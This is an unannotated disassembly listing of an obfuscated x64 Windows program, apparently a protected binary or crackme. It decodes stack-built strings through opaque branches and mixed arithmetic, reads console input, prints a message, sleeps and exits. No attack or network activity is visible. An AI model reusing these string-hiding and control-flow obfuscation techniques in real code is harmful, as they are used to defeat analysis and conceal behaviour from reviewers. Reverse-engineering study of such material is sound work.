cmp rbx, rax
jne 0x1400917ab
lea edx, [r10 - 0x5c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x7c
add dil, dl
jmp 0x140091c12
mov byte [rbp + r12 + 0x150], dil
jmp 0x140091cec
lea edx, [r10 - 0x18]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0x58
add cl, dl
add cl, r9b
movzx edi, cl
add r10b, 0x79
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x4f
add r9b, cl
add r9b, r10b
mov byte [rbp + r12 + 0x150], r9b
jmp 0x140091c72
lea edx, [r10 + 0xa]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, r9b
sub dil, 0x46
add dil, dl
sub r10b, 0x65
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x3d
add r10b, r9b
movzx eax, r10b
mov byte [rbp + r12 + 0x150], al
inc r8
add rax, r8
sub r12, rax
jmp 0x140091c9a
add dl, 0x17
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
add dil, 0x5f
jmp 0x140091cdd
add dl, 0x4b
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 0xd
dec r12
jmp 0x140091cec
add dl, 0x29
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 0x1f
inc r8
dec r12
jmp 0x140091cec
add dl, 7
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 0x31
add r10b, 0x57
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x61
add r10b, r9b
mov byte [rbp + r12 + 0x150], r10b
inc r8
dec r12
jmp 0x140091cec
lea ecx, [r12 + 0x7f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x79
dec r12
jmp 0x140091cec
lea ecx, [r12 + 0x3b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x63
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r12, rcx
jmp 0x140091cec
lea rax, [r12 + rsi]
and dl, al
add dl, dl
sub al, dl
lea edi, [r9 + rax]
add dil, 0x2d
lea ecx, [r12 + 0x2c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x34
add r9b, cl
mov byte [rbp + r12 + 0x150], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r12, rax
jmp 0x140091cdd
lea rax, [r12 + r13]
and dl, al
add dl, dl
sub al, dl
lea edi, [r9 + rax]
add dil, 0x1b
movzx eax, byte [rbp + r12 + 0x150]
add rax, r8
add r12, rax
inc r12
movabs rsi, 0xb0f60470854b5dd5
movabs r14, 0xbcfe00e34ddbdf91
jmp 0x1400914f3
add r10b, 0x55
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x53
movabs rsi, 0xb0f60470854b5dd5
movabs r14, 0xbcfe00e34ddbdf91
jmp 0x1400914f0
add r10b, 0x33
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x65
jmp 0x1400914cc
lea rcx, [rbp + 0x17a36bc]
jmp 0x140091d6f
lea rcx, [rbp + 0x116164d]
jmp 0x140091d6f
lea rcx, [rbp + 0x150]
call fcn.140097840
xorps xmm0, xmm0
movups xmmword [rbp + 0x230], xmm0
movdqa xmm1, xmmword [0x140148f00]
movdqu xmmword [rbp + 0x240], xmm1
mov byte [rbp + 0x230], 0
lea rdx, [rbp + 0x230]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400417c0
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x1d0]
call fcn.140043e50
mov rdx, rax
lea rcx, [0x1401dd440]
call fcn.1400ad950
xorps xmm0, xmm0
cmp byte [0x1401dd650], 0
jne 0x14009255a
mov r15, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0x140], r15
mov dword [rbp + 0x180], 0xf7d1816a
mov dword [rbp + 0x184], 0xf4f3f1c5
mov word [rbp + 0x188], 0x89b2
mov byte [rbp + 0x18a], WSASetLastError
movups xmmword [rbp + 0x18b], xmm0
movzx esi, byte [rsp + 0x40]
movabs r15, 0xd7b7d5c7f84cad0
movabs r12, 0x9c4be5df4cb42890
movabs rdi, 0xd4e3b19de61c79b0
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
nop word [rax + rax]
xor r14d, r14d
cmp r14, 0x1b
jae 0x140092521
movzx r9d, byte [rbp + r14 + 0x180]
mov edx, r9d
nop dword [rax]
cmp rbx, r14
ja 0x140092518
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140091e9b
lea rax, [r14 + r12]
and dl, al
mov esi, 8
sub sil, dl
add sil, sil
add sil, al
add sil, r9b
jmp 0x140091ed5
je 0x1400924a4
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14009245e
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14009240c
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400923ee
lea rax, [r8 + 8]
cmp rbx, rax
je 0x1400923a3
movzx edi, r14b
nop dword [rax]
movzx r10d, dil
movzx r11d, dil
movzx ecx, dil
movzx r12d, dil
cmp r8, r14
ja 0x14009250f
lea r15, [r8 + 1]
lea rax, [r8 + 0x400]
cmp rbx, rax
jae 0x140091f30
lea edx, [rdi - 0x30]
movzx eax, dl
and al, r9b
mov ecx, 0x28
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r9b
lea rdx, [r8 + 2]
lea r13, [r8 + 5]
movzx ecx, dil
jmp 0x140091f60
cmp rbx, r15
je 0x140092389
lea rdx, [r8 + 2]
cmp rbx, rdx
je 0x140092369
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140092350
lea r13, [r8 + 5]
cmp rbx, r13
je 0x140092333
lea rax, [r8 + rbx]
cmp rax, r14
jbe 0x1400920c5
nop dword [rax]
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x1400920a8
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140092088
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14009206b
lea rbx, [r8 + 2]
lea r8, [rbx + 0x10]
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x1400924ef
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140091ff7
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140092043
lea rbx, [r8 + 3]
lea r8, [rbx + 0x1000]
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140092026
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140092011
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140091f70
lea rbx, [r8 + 0x40]
lea r8, [rbx + 5]
jmp 0x140091f70
lea ecx, [rdi + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea esi, [r9 + rcx]
sub sil, 0x70
jmp 0x140091ee0
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea esi, [r9 + r10]
jmp 0x140092448
add r10b, 0x80
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea esi, [r9 + r10]
add sil, 0x80
jmp 0x1400924ba
sub r10b, 0x50
movzx eax, r10b
and al, r9b
mov ecx, 0x18
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, r9b
mov byte [rbp + r14 + 0x180], sil
jmp 0x1400924c9
sub r11b, 0x40
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
lea esi, [r9 + r11]
sub sil, 0x40
jmp 0x140092474
add r11b, 0x40
movzx eax, r11b
and al, r9b
mov ecx, 0x20
sub cl, al
lea esi, [rcx + rcx]
add sil, r11b
add sil, r9b
jmp 0x140092426
sub r11b, 0x20
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
lea esi, [r9 + r11]
sub sil, 0x20
jmp 0x1400923c1
lea rax, [r8 + 0x28]
cmp rbx, rax
jae 0x140092178
sub dil, 0x70
movzx eax, dil
and al, r9b
mov ecx, 8
sub cl, al
lea esi, [rcx + rcx]
add sil, dil
add sil, r9b
lea rax, [r8 + rbx]
cmp rax, 0x7a
je 0x1400922ee
cmp rbx, r13
jbe 0x1400921e2
lea ecx, [r11 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea esi, [r9 + rcx]
sub sil, 0x30
lea rcx, [r8 + 3]
cmp rbx, 0x41
jae 0x1400922c9
lea rax, [r8 + 0x64]
cmp rbx, rax
jbe 0x140092256
add r11b, 0x20
movzx eax, r11b
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea esi, [rcx + rcx]
add sil, r11b
add sil, r9b
cmp r8, 9
jb 0x14009205e
lea ecx, [r10 + 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea esi, [rcx*2 - 0x40]
jmp 0x1400923c1
cmp rbx, r15
jne 0x14009219a
sub r12b, 0x60
movzx eax, r12b
and al, r9b
add al, al
sub r12b, al
lea esi, [r9 + r12]
sub sil, 0x60
jmp 0x1400924ba
cmp rbx, rdx
jne 0x1400921b9
sub cl, 0x20
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea esi, [r9 + rcx]
sub sil, 0x20
jmp 0x140092302
cmp rbx, r13
jne 0x1400920ed
add r11b, 0x20
movzx eax, r11b
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea esi, [rcx + rcx]
add sil, r11b
add sil, r9b
jmp 0x140092448
cmp rbx, r15
jne 0x140092204
add r11b, 0x70
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
lea esi, [r9 + r11]
sub sil, 0x10
jmp 0x1400923c1
lea rcx, [r8 + 3]
cmp rbx, rcx
jne 0x14009222d
sub r11b, 0x30
movzx eax, r11b
and al, r9b
mov ecx, 0x28
sub cl, al
lea esi, [rcx + rcx]
add sil, r11b
add sil, r9b
jmp 0x140092426
cmp rbx, rdx
jne 0x14009211e
sub r11b, 0x10
movzx eax, r11b
and al, r9b
mov ecx, gethostname
sub cl, al
lea esi, [rcx + rcx]
add sil, r11b
add sil, r9b
jmp 0x140092448
cmp rbx, r15
jne 0x140092278
add r11b, 0x40
movzx eax, r11b
and al, r9b
mov ecx, 0x20
sub cl, al
lea esi, [rcx + rcx]
add sil, r11b
jmp 0x1400924b7
cmp rbx, rcx
jne 0x14009229a
sub r10b, 0x60
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea esi, [r9 + r10]
sub sil, 0x60
jmp 0x14009244b
cmp rbx, rdx
jne 0x140092150
add r10b, 0x20
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, r9b
inc r8
dec r14
jmp 0x1400924c9
lea edx, [r10 + 0x80]
movzx eax, dl
and al, r9b
add al, al
movzx esi, r9b
sub sil, al
add sil, 0x80
add sil, dl
add sil, r9b
jmp 0x140092426
sub r11b, 0x60
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
lea esi, [r11 - 0x60]
add r10b, 0x30
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x50
add r10b, r9b
movzx eax, r10b
mov byte [rbp + r14 + 0x180], al
mov r8, r15
add rax, r15
sub r14, rax
jmp 0x140092474
sub dil, 0x10
movzx eax, dil
and al, r9b
mov ecx, gethostname
sub cl, al
lea esi, [rcx + rcx]
add sil, dil
jmp 0x1400924b7
add dil, 0x50
movzx eax, dil
and al, r9b
add al, al
sub dil, al
lea esi, [r9 + rdi]
jmp 0x140092422
add dil, 0x30
movzx eax, dil
and al, r9b
add al, al
sub dil, al
lea esi, [r9 + rdi]
sub sil, 0x50
dec r14
jmp 0x1400924c9
sub dil, 0x10
movzx eax, dil
and al, r9b
mov ecx, gethostname
sub cl, al
lea esi, [rcx + rcx]
add sil, dil
jmp 0x1400923be
movzx r10d, r14b
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, 0x18
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r9b
sub r10b, 0x10
movzx eax, r10b
and al, r9b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
mov byte [rbp + r14 + 0x180], cl
inc r8
dec r14
jmp 0x1400924c9
lea ecx, [r14 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea esi, [r9 + rcx]
sub sil, 0x10
dec r14
jmp 0x1400924c9
movzx r10d, r14b
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea esi, [r9 + rcx]
sub sil, 0x30
add r10b, 0x10
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x70
add r10b, sil
add r10b, r9b
mov byte [rbp + r14 + 0x180], r10b
add rbx, r8
movzx eax, sil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r14, rcx
jmp 0x1400924c9
lea rax, [r14 + r15]
and dl, al
mov ecx, 0x28
sub cl, dl
lea esi, [rcx + rcx]
add sil, al
add sil, r9b
lea ecx, [r14 - 0x40]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x40
add r9b, cl
mov byte [rbp + r14 + 0x180], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r14, rax
jmp 0x1400924ba
lea rax, [r14 + rdi]
and dl, al
mov ecx, 0x18
sub cl, dl
lea esi, [rcx + rcx]
add sil, al
add sil, r9b
movzx eax, byte [rbp + r14 + 0x180]
add rax, r8
add r14, rax
inc r14
movabs rdi, 0xd4e3b19de61c79b0
movabs r15, 0xd7b7d5c7f84cad0
movabs r12, 0x9c4be5df4cb42890
jmp 0x140091e53
sub r10b, 0x50
movzx eax, r10b
and al, r9b
mov ecx, 0x18
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, r9b
jmp 0x140091e18
lea rdx, [rbp + 0x14b4240]
jmp 0x140092528
lea rdx, [rbp + 0x17f6ad0]
jmp 0x140092528
lea rdx, [rbp + 0x180]
mov rcx, qword [rbp + 0x140]
call fcn.140041a30
mov rcx, rax
lea rdx, [0x1401dd658]
call fcn.140041a10
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov dword [rbp + 0x20], 0x2e482a6c
mov dword [rbp + 0x24], 0x36255d68
mov dword [rbp + 0x28], 0x3e457538
mov dword [rbp + 0x2c], 0x2b33232e
mov dword [rbp + 0x30], 0x3729487c
mov dword [rbp + 0x34], 0xd8cb2d25
mov dword [rbp + 0x38], 0xd0ae85a7
mov dword [rbp + 0x3c], 0xc6c6dd80
mov dword [rbp + 0x40], 0xd9b98dd3
mov dword [rbp + 0x44], 0xa796c4c7
mov dword [rbp + 0x48], 0xad92cbd9
mov dword [rbp + 0x4c], 0xdec2cedd
mov dword [rbp + 0x50], 0x9b9bc1c2
mov word [rbp + 0x54], 0x6f6e
mov byte [rbp + 0x56], 0x46
xor eax, eax
movups xmmword [rbp + 0x57], xmm0
mov qword [rbp + 0x67], rax
mov byte [rbp + 0x6f], al
movabs r15, 0x65a807d3f835626a
movabs r12, 0x30f8177be8a0273e
movzx edi, byte [rsp + 0x40]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
nop word [rax + rax]
xor r11d, r11d
cmp r11, 0x50
jae 0x1400930f2
movzx r9d, byte [rbp + r11 + 0x20]
mov r14d, r9d
movzx r10d, r11b
nop word [rax + rax]
movzx esi, r10b
cmp rbx, r11
ja 0x1400930e9
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140092650
lea rcx, [r11 + r15]
mov rax, r14
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r14
add rdi, rcx
add dil, 0x1a
jmp 0x140092670
je 0x140093077
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140093023
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140093000
movzx r10d, r11b
cmp r8, r11
ja 0x1400930e0
lea rax, [r8 + 4]
cmp rbx, rax
jae 0x1400926a2
lea edx, [r10 - 0x4e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400926e3
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140092fb9
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140092f93
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140092f76
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140092f56
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140092ed7
lea rax, [rbx + r8]
cmp rax, r11
jbe 0x140092c64
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140092c45
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140092c1c
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140092bf9
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140092bd9
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140092bbc
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140092b9c
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140092b7d
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140092b5d
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140092b31
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400926f0
lea rbx, [r8 + 8]
lea r8, [rbx + 0x3e8]
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x1400930c0
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x1400930a3
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x1400928e1
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x1400928c6
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x1400928a7
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140092add
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x140092a94
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140092a57
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140092a32
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x1400926f0
lea rbx, [r8 + 5]
lea r8, [rbx + 8]
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140092a03
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x1400929e3
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x1400929c4
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x1400929a4
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140092984
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140092964
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140092941
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14009291b
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x1400928fc
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x1400926f0
lea rbx, [r8 + 0x400]
lea r8, [rbx + 0x61]
jmp 0x1400926f0
lea edx, [r10 - 0x72]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400926e3
lea ecx, [r10 - 0x46]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x16
jmp 0x140092674
lea ecx, [r10 - 0x1a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4a
jmp 0x140092620
lea edx, [r10 - 0x70]
movzx eax, r9b
and al, dl
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140092fd3
sub r10b, 0x44
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x24
inc r8
dec r11
inc r11
jmp 0x140092603
sub r10b, 0x18
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x58
dec r11
inc r11
jmp 0x140092603
add r10b, 0x14
movzx eax, r9b
and al, r10b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14009303c
add r10b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14009305b
add r10b, 0x6c
movzx eax, r9b
and al, r10b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14009305e
lea edx, [r10 - 0x68]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x28
add dil, dl
jmp 0x140092eed
sub r10b, 0x3c
movzx eax, r9b
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x5c
add dil, r10b
jmp 0x140092f17
sub r10b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x140092603
sub r10b, 0x22
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x12
mov byte [rbp + r11 + 0x20], dil
inc r11
jmp 0x140092603
lea ecx, [r10 + 0xa]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x46
cmp r8, 0x40
jb 0x140092a4a
lea edx, [r10 + 0x3c]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x48]
jmp 0x140092fd3
lea ecx, [r10 + 0x36]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7a
cmp rbx, 0x64
jae 0x140092e98
lea rax, [r8 + 1]
cmp rbx, rax
jbe 0x140092de8
lea edx, [r10 - 0xc]
movzx eax, r9b
and al, dl
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140092a6d
lea edx, [r10 + 0x62]
movzx eax, dl
and al, r9b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
lea rax, [rbx + r8]
cmp rax, 1
je 0x140092eb8
lea rcx, [r8 + 3]
cmp rbx, rcx
jbe 0x140092d6b
lea edx, [r10 + 0x42]
movzx eax, r9b
and al, dl
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140092aaa
add r10b, 0x2c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x34
movzx eax, byte [rbp + r11 + 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x140092603
add r10b, 0x58
movzx eax, r9b
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x68
add dil, r10b
jmp 0x140092f17
lea edx, [r10 - 0x7c]
movzx eax, r9b
and al, dl
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140092eed
sub r10b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14009305e
sub r10b, 0x24
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 4
jmp 0x14009305b
add r10b, 8
movzx eax, r9b
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x38
add dil, r10b
jmp 0x14009303c
add r10b, 0x34
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6c
dec r11
inc r11
jmp 0x140092603
add r10b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140092603
lea edx, [r10 - 0x74]
movzx eax, r9b
and al, dl
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140092fd3
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x140092c84
lea edx, [r10 + 0x6a]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_listen
jmp 0x140092aec
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140092cbc
add r10b, 0x64
movzx eax, r10b
and al, r9b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11 + 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x140092603
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140092ce0
lea ecx, [r10 + 0xc]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x54
jmp 0x140092eed
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140092d09
sub r10b, 0x78
movzx eax, r9b
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14009303c
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140092d38
add r10b, 0x5c
movzx eax, r9b
and al, r10b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140092603
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140092af7
add r10b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x50
inc r8
dec r11
inc r11
jmp 0x140092603
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140092d93
lea edx, [r10 + 0x16]
movzx eax, r9b
and al, dl
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140092fd3
cmp rbx, rcx
jne 0x140092dbb
sub r10b, 0x42
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x32
dec r11
inc r11
jmp 0x140092603
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140092aaa
sub r10b, 0x6e
movzx eax, r9b
and al, r10b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14009303c
jne 0x140092e16
sub r10b, 0x38
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x78
movzx eax, byte [rbp + r11 + 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x140092603
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140092e3f
add r10b, 0x18
movzx eax, r9b
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14009305b
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140092e68
sub r10b, 0x14
movzx eax, r9b
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x74
add dil, r10b
jmp 0x14009303c
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140092a6d
sub r10b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
dec r11
inc r11
jmp 0x140092603
add r10b, 0x10
movzx eax, r9b
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x70
add dil, r10b
jmp 0x140093039
lea edx, [r10 - 0x1c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, r9b
sub dil, 0x3c
add dil, dl
jmp 0x140092eed
lea ecx, [r10 + 0x7e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x72
add r10b, 0x4e
movzx eax, r9b
and al, r10b
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0x22
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x20], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 - 0x48]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 8
add r9b, cl
mov byte [rbp + r11 + 0x20], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x140092603
sub r10b, 0x56
movzx eax, r10b
and al, r9b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14009305e
add r10b, 2
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0xe
jmp 0x14009303c
add r10b, 0x5a
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x76
inc r8
dec r11
inc r11
jmp 0x140092603
lea edx, [r10 - 0x7a]
movzx eax, dl
and al, r9b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
sub r10b, 0x5a
movzx eax, r9b
and al, r10b
mov ecx, 0x3b
sub cl, al
add cl, cl
add cl, r9b
